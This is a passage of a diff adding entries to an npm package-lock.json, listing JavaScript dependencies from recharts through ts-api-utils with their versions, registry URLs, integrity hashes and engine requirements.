"^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/recharts": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.4.1.tgz", + "integrity": "sha512-35kYg6JoOgwq8sE4rhYkVWwa6aAIgOtT+Ob0gitnShjwUwZmhrmy7Jco/5kJNF4PnLXgt9Hwq+geEMS+WrjU1g==", + "dependencies": { + "@reduxjs/toolkit": "1.x.x || 2.x.x", + "clsx": "^2.1.1", + "decimal.js-light": "^2.5.1", + "es-toolkit": "^1.39.3", + "eventemitter3": "^5.0.1", + "immer": "^10.1.1", + "react-redux": "8.x.x || 9.x.x", + "reselect": "5.1.1", + "tiny-invariant": "^1.3.3", + "use-sync-external-store": "^1.2.2", + "victory-vendor": "^37.0.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/redux": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz", + "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==" + }, + "node_modules/redux-thunk": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz", + "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==", + "peerDependencies": { + "redux": "^5.0.0" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", + "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.1", + "which-builtin-type": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", + "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/remark-parse": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz", + "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-rehype": { + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.2.tgz", + "integrity": "sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/mdast": "^4.0.0", + "mdast-util-to-hast": "^13.0.0", + "unified": "^11.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/reselect": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz", + "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==" + }, + "node_modules/resolve": { + "version": "2.0.0-next.5", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz", + "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==", + "dev": true, + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "4.53.2", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.53.2.tgz", + "integrity": "sha512-MHngMYwGJVi6Fmnk6ISmnk7JAHRNF0UkuucA0CUW3N3a4KnONPEZz+vUanQP/ZC/iY1Qkf3bwPWzyY84wEks1g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.53.2", + "@rollup/rollup-android-arm64": "4.53.2", + "@rollup/rollup-darwin-arm64": "4.53.2", + "@rollup/rollup-darwin-x64": "4.53.2", + "@rollup/rollup-freebsd-arm64": "4.53.2", + "@rollup/rollup-freebsd-x64": "4.53.2", + "@rollup/rollup-linux-arm-gnueabihf": "4.53.2", + "@rollup/rollup-linux-arm-musleabihf": "4.53.2", + "@rollup/rollup-linux-arm64-gnu": "4.53.2", + "@rollup/rollup-linux-arm64-musl": "4.53.2", + "@rollup/rollup-linux-loong64-gnu": "4.53.2", + "@rollup/rollup-linux-ppc64-gnu": "4.53.2", + "@rollup/rollup-linux-riscv64-gnu": "4.53.2", + "@rollup/rollup-linux-riscv64-musl": "4.53.2", + "@rollup/rollup-linux-s390x-gnu": "4.53.2", + "@rollup/rollup-linux-x64-gnu": "4.53.2", + "@rollup/rollup-linux-x64-musl": "4.53.2", + "@rollup/rollup-openharmony-arm64": "4.53.2", + "@rollup/rollup-win32-arm64-msvc": "4.53.2", + "@rollup/rollup-win32-ia32-msvc": "4.53.2", + "@rollup/rollup-win32-x64-gnu": "4.53.2", + "@rollup/rollup-win32-x64-msvc": "4.53.2", + "fsevents": "~2.3.2" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-array-concat": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz", + "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "get-intrinsic": "^1.2.6", + "has-symbols": "^1.1.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">=0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-push-apply": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz", + "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "isarray": "^2.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/safe-regex-test": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz", + "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "is-regex": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT" + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/set-cookie-parser": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz", + "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==" + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "dev": true, + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-proto": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz", + "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==", + "dev": true, + "dependencies": { + "dunder-proto": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/socket.io-client": { + "version": "4.8.1", + "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.8.1.tgz", + "integrity": "sha512-hJVXfu3E28NmzGk8o1sHhN3om52tRvwYeidbj7xKy2eIIse5IoKX3USlS6Tqt3BHAtflLIkCQBkzVrEEfWUyYQ==", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.2", + "engine.io-client": "~6.6.1", + "socket.io-parser": "~4.2.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-client/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io-parser": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.4.tgz", + "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser/node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/sonner": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/sonner/-/sonner-2.0.7.tgz", + "integrity": "sha512-W6ZN4p58k8aDKA4XPcx2hpIQXBRAgyiWVkYhT7CvK6D3iAu7xjvVyhQHg2/iaKJZ1XVJ4r7XuwGL+WGEK37i9w==", + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0 || ^19.0.0-rc", + "react-dom": "^18.0.0 || ^19.0.0 || ^19.0.0-rc" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/space-separated-tokens": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz", + "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/stop-iteration-iterator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz", + "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "internal-slot": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string.prototype.includes": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz", + "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.12", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz", + "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.6", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "regexp.prototype.flags": "^1.5.3", + "set-function-name": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.repeat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz", + "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==", + "dev": true, + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.5" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", + "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-data-property": "^1.1.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-object-atoms": "^1.0.0", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", + "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/stringify-entities": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz", + "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==", + "dependencies": { + "character-entities-html4": "^2.0.0", + "character-entities-legacy": "^3.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-to-js": { + "version": "1.1.19", + "resolved": "https://registry.npmjs.org/style-to-js/-/style-to-js-1.1.19.tgz", + "integrity": "sha512-Ev+SgeqiNGT1ufsXyVC5RrJRXdrkRJ1Gol9Qw7Pb72YCKJXrBvP0ckZhBeVSrw2m06DJpei2528uIpjMb4TsoQ==", + "dependencies": { + "style-to-object": "1.0.12" + } + }, + "node_modules/style-to-object": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-1.0.12.tgz", + "integrity": "sha512-ddJqYnoT4t97QvN2C95bCgt+m7AAgXjVnkk/jxAfmp7EAB8nnqqZYEbMd3em7/vEomDb2LAQKAy1RFfv41mdNw==", + "dependencies": { + "inline-style-parser": "0.2.6" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==" + }, + "node_modules/tinyglobby": { + "version": "0.2.15", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz", + "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.3" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/trim-lines": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz", + "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/trough": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", + "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/ts-api-utils": { + "version": 